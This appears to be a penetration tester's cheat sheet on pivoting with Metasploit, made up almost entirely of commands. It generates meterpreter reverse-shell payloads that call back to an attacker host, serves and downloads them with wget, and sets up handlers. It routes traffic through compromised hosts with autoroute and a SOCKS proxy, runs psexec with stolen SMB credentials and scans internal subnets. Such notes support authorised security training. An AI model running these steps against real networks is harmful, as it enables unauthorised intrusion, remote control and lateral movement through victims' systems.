# Metasploit Pivoting

**# Reverse Shell generation**

msfvenom -p linux/x64/meterpreter/reverse\_tcp LHOST=192.168.2.149 LPORT=8080 -f elf --platform linux --arch x64 > reverse.elf

python -m http.server --bind 192.168.2.149

wget <http://192.168.2.149:8000/reverse.elf>

chmod u+x reverse.elf

&#x20;

**# Setup listener**

msfconsole -q

msf5 > use exploit/multi/handler

msf5 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse\_tcp

msf5 exploit(multi/handler) > run

&#x20;

**# Autoroute module**

msf5 > use post/multi/manage/autoroute

msf5 post(multi/manage/autoroute) > set SESSION 1

msf5 post(multi/manage/autoroute) > set CMD add

msf5 post(multi/manage/autoroute) > set SUBNET 10.42.42.0

msf5 post(multi/manage/autoroute) > set NETMASK /24

msf5 post(multi/manage/autoroute) > set CMD print

msf5 post(multi/manage/autoroute) > run

&#x20;

\# On windows you can use post/windows/gather/arp\_scanner to discover other machines

\# On Linux you can try arp -a

&#x20;

**# SOCKS proxy setup**

msf5 > use auxiliary/server/socks4a

msf5 auxiliary(server/socks4a) > set SRVPORT 1081

msf5 auxiliary(server/socks4a) > run

&#x20;

\# Now, equivalent to a dynamic SSH

&#x20;**# Double Pivoting**

\# Reverse shell from the pwned2 to the pwned1

msfvenom -p windows/x64/meterpreter/reverse\_tcp LHOST=10.42.42.1 LPORT=8088 -f exe --platform windows --arch x64 > reverse.exe

&#x20;

\# Setup handler and exploit the found vulnerability

&#x20;

\============================================================

MSFCONSOLE:

&#x20;

use exploit/windows/smb/psexec

set rhosts \<first\_network\_ip>

set smbdomain \<domain.local>

set smbpass \<password>

set smbuser \<user>

ser payload windows/x64/meterpreter/reverse\_tcp

set lhost eth0

set target 2

run

&#x20;

**after getting shell:**

&#x20;route print

ipconfig

arp -a  > see the other network's IP this PC is talking to (is on a different NIC in-between \*.1 and \*.255 entries)

<figure><img src="https://3722880708-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F8Jk7bAtIA6fLVYBLmpdJ%2Fuploads%2FhJ5qTayDl6nt1MY2iZWB%2FUntitled%20picture.png?alt=media&#x26;token=69363381-9167-4a41-aa46-274e38e1e22d" alt=""><figcaption></figcaption></figure>

Hit CTRL+C and Y

from meterpreter:

run autoroute -s \<new network/24>

run autoroute -p

background

search portscan

use 5 (tcp scan)

set rhosts \<IP\_in the new network>

set ports 445 (smb)

<figure><img src="https://3722880708-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F8Jk7bAtIA6fLVYBLmpdJ%2Fuploads%2Fc6dl3YSvcgd93MXP8Qz6%2FUntitled%20picture.png?alt=media&#x26;token=bb72c00c-4fa9-4d81-9149-90d32bcff1d2" alt=""><figcaption></figcaption></figure>
